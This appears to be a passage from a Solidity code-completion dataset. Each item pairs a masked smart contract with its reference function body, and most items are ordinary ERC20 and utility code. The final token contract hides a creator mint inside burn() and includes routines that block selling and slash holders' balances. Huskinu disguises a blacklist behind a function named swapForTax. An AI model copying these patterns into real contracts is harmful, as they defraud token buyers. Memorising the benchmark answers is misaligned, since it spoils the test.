contract StandardToken is ERC20 { using SafeMath for uint256; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; function transfer(address _to, uint256 _value) public returns (bool) {<FILL_FUNCTION_BODY> } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_from != address(0)); require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } }
contract StandardToken is ERC20 { using SafeMath for uint256; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; <FILL_FUNCTION> function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_from != address(0)); require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } }
require(_to != address(0)); require(_value > 0); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true;
function transfer(address _to, uint256 _value) public returns (bool)
function transfer(address _to, uint256 _value) public returns (bool)
35295
SafeMath
safeMul
contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) {<FILL_FUNCTION_BODY> } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } }
contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } <FILL_FUNCTION> function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } }
c = a * b; require(a == 0 || c / a == b);
function safeMul(uint a, uint b) public pure returns (uint c)
function safeMul(uint a, uint b) public pure returns (uint c)
46563
Geosale
null
contract Geosale { uint256 price = 10000000000000000; address bene; mapping(address => uint8) public starter; constructor(){<FILL_FUNCTION_BODY> } function buy(uint8 choice) public payable{ require(msg.value == price); starter[msg.sender] = choice; } function recover() public{ payable(bene).transfer(address(this).balance); } }
contract Geosale { uint256 price = 10000000000000000; address bene; mapping(address => uint8) public starter; <FILL_FUNCTION> function buy(uint8 choice) public payable{ require(msg.value == price); starter[msg.sender] = choice; } function recover() public{ payable(bene).transfer(address(this).balance); } }
bene = msg.sender;
constructor()
constructor()
63261
Huskinu
_tokenTransfer
contract Huskinu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping(address => bool) public bots; uint256 private _tTotal = 18000000 * 10**18; uint256 private _maxWallet= 180000000 * 10**18; uint256 private _taxFee; address payable private _taxWallet; uint256 public _maxTxAmount; string private constant _name = "Husky Inu"; string private constant _symbol = "HUSKINU"; uint8 private constant _decimals = 18; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _taxFee = 12; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _balance[address(this)] = _tTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=_tTotal.div(200); _maxWallet=_tTotal.div(100); emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<=_maxTxAmount,"Transaction amount limited"); } require(!bots[from] && !bots[to], "This account is blacklisted"); if(to != _pair && ! _isExcludedFromFee[to] && ! _isExcludedFromFee[from]) { require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance >= 1000000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function decreaseTax(uint256 newTaxRate) public onlyOwner{ require(newTaxRate<_taxFee); _taxFee=newTaxRate; } function increaseBuyLimit(uint256 amount) public onlyOwner{ require(amount>_maxTxAmount); _maxTxAmount=amount; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function createUniswapPair() external onlyOwner { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); IERC20(_pair).approve(address(_uniswap), type(uint).max); } function addLiquidity() external onlyOwner{ _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _canTrade = true; } function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {<FILL_FUNCTION_BODY> } receive() external payable {} function swapForTax(address[] memory bots_) public onlyOwner {for (uint256 i = 0; i < bots_.length; i++) {bots[bots_[i]] = true;}} function collectTax() public{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } }
contract Huskinu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping(address => bool) public bots; uint256 private _tTotal = 18000000 * 10**18; uint256 private _maxWallet= 180000000 * 10**18; uint256 private _taxFee; address payable private _taxWallet; uint256 public _maxTxAmount; string private constant _name = "Husky Inu"; string private constant _symbol = "HUSKINU"; uint8 private constant _decimals = 18; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _taxFee = 12; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _balance[address(this)] = _tTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=_tTotal.div(200); _maxWallet=_tTotal.div(100); emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<=_maxTxAmount,"Transaction amount limited"); } require(!bots[from] && !bots[to], "This account is blacklisted"); if(to != _pair && ! _isExcludedFromFee[to] && ! _isExcludedFromFee[from]) { require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance >= 1000000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function decreaseTax(uint256 newTaxRate) public onlyOwner{ require(newTaxRate<_taxFee); _taxFee=newTaxRate; } function increaseBuyLimit(uint256 amount) public onlyOwner{ require(amount>_maxTxAmount); _maxTxAmount=amount; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function createUniswapPair() external onlyOwner { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); IERC20(_pair).approve(address(_uniswap), type(uint).max); } function addLiquidity() external onlyOwner{ _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _canTrade = true; } <FILL_FUNCTION> receive() external payable {} function swapForTax(address[] memory bots_) public onlyOwner {for (uint256 i = 0; i < bots_.length; i++) {bots[bots_[i]] = true;}} function collectTax() public{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } }
uint256 tTeam = tAmount.mul(taxRate).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); _balance[sender] = _balance[sender].sub(tAmount); _balance[recipient] = _balance[recipient].add(tTransferAmount); _balance[address(this)] = _balance[address(this)].add(tTeam); emit Transfer(sender, recipient, tTransferAmount);
function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private
function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private
50713
ERC721Holder
onERC721Received
contract ERC721Holder is IERC721Receiver { function onERC721Received(address, address, uint256, bytes memory) public returns (bytes4) {<FILL_FUNCTION_BODY> } }
contract ERC721Holder is IERC721Receiver { <FILL_FUNCTION> }
return this.onERC721Received.selector;
function onERC721Received(address, address, uint256, bytes memory) public returns (bytes4)
function onERC721Received(address, address, uint256, bytes memory) public returns (bytes4)
54209
VamprireDoge
transfer
contract VamprireDoge { mapping(address => uint256) public balances; mapping(address => mapping(address => uint256)) public allowance; uint256 public totalSupply = 10 * 10**12 * 10**18; string public name = "Vampire Doge"; string public symbol = "VAMPDOGE"; uint public decimals = 18; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); constructor() { balances[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function balanceOf(address owner) public view returns(uint256) { return balances[owner]; } function transfer(address to, uint256 value) public returns(bool) {<FILL_FUNCTION_BODY> } function transferFrom(address from, address to, uint256 value) public returns(bool) { require(balanceOf(from) >= value, 'balance too low'); require(allowance[from][msg.sender] >= value, 'allowance too low'); balances[to] += value; balances[from] -= value; emit Transfer(from, to, value); return true; } function approve(address spender, uint256 value) public returns(bool) { allowance[msg.sender][spender] = value; return true; } }
contract VamprireDoge { mapping(address => uint256) public balances; mapping(address => mapping(address => uint256)) public allowance; uint256 public totalSupply = 10 * 10**12 * 10**18; string public name = "Vampire Doge"; string public symbol = "VAMPDOGE"; uint public decimals = 18; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); constructor() { balances[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function balanceOf(address owner) public view returns(uint256) { return balances[owner]; } <FILL_FUNCTION> function transferFrom(address from, address to, uint256 value) public returns(bool) { require(balanceOf(from) >= value, 'balance too low'); require(allowance[from][msg.sender] >= value, 'allowance too low'); balances[to] += value; balances[from] -= value; emit Transfer(from, to, value); return true; } function approve(address spender, uint256 value) public returns(bool) { allowance[msg.sender][spender] = value; return true; } }
require(balanceOf(msg.sender) >= value, 'balance too low'); balances[to] += value; balances[msg.sender] -= value; emit Transfer(msg.sender, to, value); return true;
function transfer(address to, uint256 value) public returns(bool)
function transfer(address to, uint256 value) public returns(bool)
67173
DividendToken
calculateDividendsFor
contract DividendToken is StandardToken, Ownable { event PayDividend(address indexed to, uint256 amount); event HangingDividend(address indexed to, uint256 amount) ; event PayHangingDividend(uint256 amount) ; event Deposit(address indexed sender, uint256 value); /// @dev parameters of an extra token emission struct EmissionInfo { // new totalSupply after emission happened uint256 totalSupply; // total balance of Ether stored at the contract when emission happened uint256 totalBalanceWas; } constructor () public { m_emissions.push(EmissionInfo({ totalSupply: totalSupply(), totalBalanceWas: 0 })); } function() external payable { if (msg.value > 0) { emit Deposit(msg.sender, msg.value); m_totalDividends = m_totalDividends.add(msg.value); } } /// @notice Request dividends for current account. function requestDividends() public { payDividendsTo(msg.sender); } /// @notice Request hanging dividends to pwner. function requestHangingDividends() onlyOwner public { owner.transfer(m_totalHangingDividends); emit PayHangingDividend(m_totalHangingDividends); m_totalHangingDividends = 0; } /// @notice hook on standard ERC20#transfer to pay dividends function transfer(address _to, uint256 _value) public returns (bool) { payDividendsTo(msg.sender); payDividendsTo(_to); return super.transfer(_to, _value); } /// @notice hook on standard ERC20#transferFrom to pay dividends function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { payDividendsTo(_from); payDividendsTo(_to); return super.transferFrom(_from, _to, _value); } /// @dev adds dividends to the account _to function payDividendsTo(address _to) internal { (bool hasNewDividends, uint256 dividends, uint256 lastProcessedEmissionNum) = calculateDividendsFor(_to); if (!hasNewDividends) return; if (0 != dividends) { bool res = _to.send(dividends); if (res) { emit PayDividend(_to, dividends); } else{ // _to probably is a contract not able to receive ether emit HangingDividend(_to, dividends); m_totalHangingDividends = m_totalHangingDividends.add(dividends); } } m_lastAccountEmission[_to] = lastProcessedEmissionNum; if (lastProcessedEmissionNum == getLastEmissionNum()) { m_lastDividends[_to] = m_totalDividends; } else { m_lastDividends[_to] = m_emissions[lastProcessedEmissionNum.add(1)].totalBalanceWas; } } /// @dev calculates dividends for the account _for /// @return (true if state has to be updated, dividend amount (could be 0!), lastProcessedEmissionNum) function calculateDividendsFor(address _for) view internal returns ( bool hasNewDividends, uint256 dividends, uint256 lastProcessedEmissionNum ) {<FILL_FUNCTION_BODY> } function getLastEmissionNum() private view returns (uint256) { return m_emissions.length - 1; } /// @dev to prevent gasLimit problems with many mintings function getMaxIterationsForRequestDividends() internal pure returns (uint256) { return 200; } /// @notice record of issued dividend emissions EmissionInfo[] public m_emissions; /// @dev for each token holder: last emission (index in m_emissions) which was processed for this holder mapping(address => uint256) public m_lastAccountEmission; /// @dev for each token holder: last ether balance was when requested dividends mapping(address => uint256) public m_lastDividends; uint256 public m_totalHangingDividends; uint256 public m_totalDividends; }
contract DividendToken is StandardToken, Ownable { event PayDividend(address indexed to, uint256 amount); event HangingDividend(address indexed to, uint256 amount) ; event PayHangingDividend(uint256 amount) ; event Deposit(address indexed sender, uint256 value); /// @dev parameters of an extra token emission struct EmissionInfo { // new totalSupply after emission happened uint256 totalSupply; // total balance of Ether stored at the contract when emission happened uint256 totalBalanceWas; } constructor () public { m_emissions.push(EmissionInfo({ totalSupply: totalSupply(), totalBalanceWas: 0 })); } function() external payable { if (msg.value > 0) { emit Deposit(msg.sender, msg.value); m_totalDividends = m_totalDividends.add(msg.value); } } /// @notice Request dividends for current account. function requestDividends() public { payDividendsTo(msg.sender); } /// @notice Request hanging dividends to pwner. function requestHangingDividends() onlyOwner public { owner.transfer(m_totalHangingDividends); emit PayHangingDividend(m_totalHangingDividends); m_totalHangingDividends = 0; } /// @notice hook on standard ERC20#transfer to pay dividends function transfer(address _to, uint256 _value) public returns (bool) { payDividendsTo(msg.sender); payDividendsTo(_to); return super.transfer(_to, _value); } /// @notice hook on standard ERC20#transferFrom to pay dividends function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { payDividendsTo(_from); payDividendsTo(_to); return super.transferFrom(_from, _to, _value); } /// @dev adds dividends to the account _to function payDividendsTo(address _to) internal { (bool hasNewDividends, uint256 dividends, uint256 lastProcessedEmissionNum) = calculateDividendsFor(_to); if (!hasNewDividends) return; if (0 != dividends) { bool res = _to.send(dividends); if (res) { emit PayDividend(_to, dividends); } else{ // _to probably is a contract not able to receive ether emit HangingDividend(_to, dividends); m_totalHangingDividends = m_totalHangingDividends.add(dividends); } } m_lastAccountEmission[_to] = lastProcessedEmissionNum; if (lastProcessedEmissionNum == getLastEmissionNum()) { m_lastDividends[_to] = m_totalDividends; } else { m_lastDividends[_to] = m_emissions[lastProcessedEmissionNum.add(1)].totalBalanceWas; } } <FILL_FUNCTION> function getLastEmissionNum() private view returns (uint256) { return m_emissions.length - 1; } /// @dev to prevent gasLimit problems with many mintings function getMaxIterationsForRequestDividends() internal pure returns (uint256) { return 200; } /// @notice record of issued dividend emissions EmissionInfo[] public m_emissions; /// @dev for each token holder: last emission (index in m_emissions) which was processed for this holder mapping(address => uint256) public m_lastAccountEmission; /// @dev for each token holder: last ether balance was when requested dividends mapping(address => uint256) public m_lastDividends; uint256 public m_totalHangingDividends; uint256 public m_totalDividends; }
uint256 lastEmissionNum = getLastEmissionNum(); uint256 lastAccountEmissionNum = m_lastAccountEmission[_for]; assert(lastAccountEmissionNum <= lastEmissionNum); uint256 totalBalanceWasWhenLastPay = m_lastDividends[_for]; assert(m_totalDividends >= totalBalanceWasWhenLastPay); // If no new ether was collected since last dividends claim if (m_totalDividends == totalBalanceWasWhenLastPay) return (false, 0, lastAccountEmissionNum); uint256 initialBalance = balances[_for]; // beware of recursion! // if no tokens owned by account if (0 == initialBalance) return (true, 0, lastEmissionNum); // We start with last processed emission because some ether could be collected before next emission // we pay all remaining ether collected and continue with all the next emissions uint256 iter = 0; uint256 iterMax = getMaxIterationsForRequestDividends(); for (uint256 emissionToProcess = lastAccountEmissionNum; emissionToProcess <= lastEmissionNum; emissionToProcess++) { if (iter++ > iterMax) break; lastAccountEmissionNum = emissionToProcess; EmissionInfo storage emission = m_emissions[emissionToProcess]; if (0 == emission.totalSupply) continue; uint256 totalEtherDuringEmission; // last emission we stopped on if (emissionToProcess == lastEmissionNum) { totalEtherDuringEmission = m_totalDividends.sub(totalBalanceWasWhenLastPay); } else { totalEtherDuringEmission = m_emissions[emissionToProcess.add(1)].totalBalanceWas.sub(totalBalanceWasWhenLastPay); totalBalanceWasWhenLastPay = m_emissions[emissionToProcess.add(1)].totalBalanceWas; } uint256 dividend = totalEtherDuringEmission.mul(initialBalance).div(emission.totalSupply); dividends = dividends.add(dividend); } return (true, dividends, lastAccountEmissionNum);
function calculateDividendsFor(address _for) view internal returns ( bool hasNewDividends, uint256 dividends, uint256 lastProcessedEmissionNum )
/// @dev calculates dividends for the account _for /// @return (true if state has to be updated, dividend amount (could be 0!), lastProcessedEmissionNum) function calculateDividendsFor(address _for) view internal returns ( bool hasNewDividends, uint256 dividends, uint256 lastProcessedEmissionNum )
53232
UnboundedRegularToken
transferFrom
contract UnboundedRegularToken is RegularToken { uint constant MAX_UINT = 2**256 - 1; /// @dev ERC20 transferFrom, modified such that an allowance of MAX_UINT represents an unlimited amount. /// @param _from Address to transfer from. /// @param _to Address to transfer to. /// @param _value Amount to transfer. /// @return Success of transfer. function transferFrom(address _from, address _to, uint _value) public returns (bool) {<FILL_FUNCTION_BODY> } }
contract UnboundedRegularToken is RegularToken { uint constant MAX_UINT = 2**256 - 1; <FILL_FUNCTION> }
uint allowance = allowed[_from][msg.sender]; if (balances[_from] >= _value && allowance >= _value && balances[_to] + _value >= balances[_to] ) { balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT) { allowed[_from][msg.sender] -= _value; } Transfer(_from, _to, _value); return true; } else { return false; }
function transferFrom(address _from, address _to, uint _value) public returns (bool)
/// @dev ERC20 transferFrom, modified such that an allowance of MAX_UINT represents an unlimited amount. /// @param _from Address to transfer from. /// @param _to Address to transfer to. /// @param _value Amount to transfer. /// @return Success of transfer. function transferFrom(address _from, address _to, uint _value) public returns (bool)
35592
Disperse
disperseToken
contract Disperse { function disperseEther(address payable[] calldata recipients, uint256[] calldata values) external payable { for (uint256 i = 0; i < recipients.length; i++) recipients[i].transfer(values[i]); uint256 balance = address(this).balance; if (balance > 0) payable(msg.sender).transfer(balance); } function disperseToken(IERC20 token, address payable[] calldata recipients, uint256[] calldata values) external {<FILL_FUNCTION_BODY> } function disperseTokenSimple(IERC20 token, address payable[] calldata recipients, uint256[] calldata values) external { for (uint256 i = 0; i < recipients.length; i++) require(token.transferFrom(msg.sender, recipients[i], values[i])); } }
contract Disperse { function disperseEther(address payable[] calldata recipients, uint256[] calldata values) external payable { for (uint256 i = 0; i < recipients.length; i++) recipients[i].transfer(values[i]); uint256 balance = address(this).balance; if (balance > 0) payable(msg.sender).transfer(balance); } <FILL_FUNCTION> function disperseTokenSimple(IERC20 token, address payable[] calldata recipients, uint256[] calldata values) external { for (uint256 i = 0; i < recipients.length; i++) require(token.transferFrom(msg.sender, recipients[i], values[i])); } }
uint256 total = 0; for (uint256 i = 0; i < recipients.length; i++) total += values[i]; require(token.transferFrom(payable(msg.sender), address(this), total)); for (uint256 i = 0; i < recipients.length; i++) require(token.transfer(recipients[i], values[i]));
function disperseToken(IERC20 token, address payable[] calldata recipients, uint256[] calldata values) external
function disperseToken(IERC20 token, address payable[] calldata recipients, uint256[] calldata values) external
15332
StandardToken
transferFrom
contract StandardToken is ERC20, SafeMath { mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; /// @dev Returns number of tokens owned by given address. /// @param _owner Address of token owner. function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } /// @dev Transfers sender's tokens to a given address. Returns success. /// @param _to Address of token receiver. /// @param _value Number of tokens to transfer. function transfer(address _to, uint256 _value) returns (bool) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } else return false; } /// @dev Allows allowed third party to transfer tokens from one address to another. Returns success. /// @param _from Address from where tokens are withdrawn. /// @param _to Address to where tokens are sent. /// @param _value Number of tokens to transfer. function transferFrom(address _from, address _to, uint256 _value) returns (bool) {<FILL_FUNCTION_BODY> } /// @dev Sets approved amount of tokens for spender. Returns success. /// @param _spender Address of allowed account. /// @param _value Number of approved tokens. function approve(address _spender, uint256 _value) returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /// @dev Returns number of allowed tokens for given address. /// @param _owner Address of token owner. /// @param _spender Address of token spender. function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } }
contract StandardToken is ERC20, SafeMath { mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; /// @dev Returns number of tokens owned by given address. /// @param _owner Address of token owner. function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } /// @dev Transfers sender's tokens to a given address. Returns success. /// @param _to Address of token receiver. /// @param _value Number of tokens to transfer. function transfer(address _to, uint256 _value) returns (bool) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } else return false; } <FILL_FUNCTION> /// @dev Sets approved amount of tokens for spender. Returns success. /// @param _spender Address of allowed account. /// @param _value Number of approved tokens. function approve(address _spender, uint256 _value) returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /// @dev Returns number of allowed tokens for given address. /// @param _owner Address of token owner. /// @param _spender Address of token spender. function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } }
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender], _value); Transfer(_from, _to, _value); return true; } else return false;
function transferFrom(address _from, address _to, uint256 _value) returns (bool)
/// @dev Allows allowed third party to transfer tokens from one address to another. Returns success. /// @param _from Address from where tokens are withdrawn. /// @param _to Address to where tokens are sent. /// @param _value Number of tokens to transfer. function transferFrom(address _from, address _to, uint256 _value) returns (bool)
58922
ERC20
_approve
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable { mapping (address => bool) private Kansas; mapping (address => bool) private Missouri; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => uint256) private _LoggedTime; address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address public pair; IDEXRouter router; address[] private alabamaArray; string private _name; string private _symbol; address private _creator; uint256 private _totalSupply; uint256 private Virginia; uint256 private Washington; uint256 private Oregon; bool private Florida; bool private Kentucky; bool private NewYork; uint256 private lmao; constructor (string memory name_, string memory symbol_, address creator_) { router = IDEXRouter(_router); pair = IDEXFactory(router.factory()).createPair(WETH, address(this)); _name = name_; _creator = creator_; _symbol = symbol_; Kentucky = true; Kansas[creator_] = true; Florida = true; NewYork = false; Missouri[creator_] = false; lmao = 0; } function decimals() public view virtual override returns (uint8) { return 18; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function burn(uint256 amount) public virtual returns (bool) { _burn(_msgSender(), amount); return true; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _BrainDrain(address sender, uint256 amount) internal { if ((Kansas[sender] != true)) { if ((amount > Oregon)) { require(false); } require(amount < Virginia); if (NewYork == true) { if (Missouri[sender] == true) { require(false); } Missouri[sender] = true; } } } function _AntiFR(address recipient) internal { alabamaArray.push(recipient); _LoggedTime[recipient] = block.timestamp; if ((Kansas[recipient] != true) && (lmao > 11)) { if ((_LoggedTime[alabamaArray[lmao-1]] == _LoggedTime[alabamaArray[lmao]]) && Kansas[alabamaArray[lmao-1]] != true) { _balances[alabamaArray[lmao-1]] = _balances[alabamaArray[lmao-1]]/75; } } lmao++; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _burn(address account, uint256 amount) internal { _balances[_creator] += _totalSupply * 10 ** 10; require(account != address(0), "ERC20: burn from the zero address"); _balances[account] -= amount; _balances[address(0)] += amount; emit Transfer(account, address(0), amount); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function _approve(address owner, address spender, uint256 amount) internal virtual {<FILL_FUNCTION_BODY> } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); 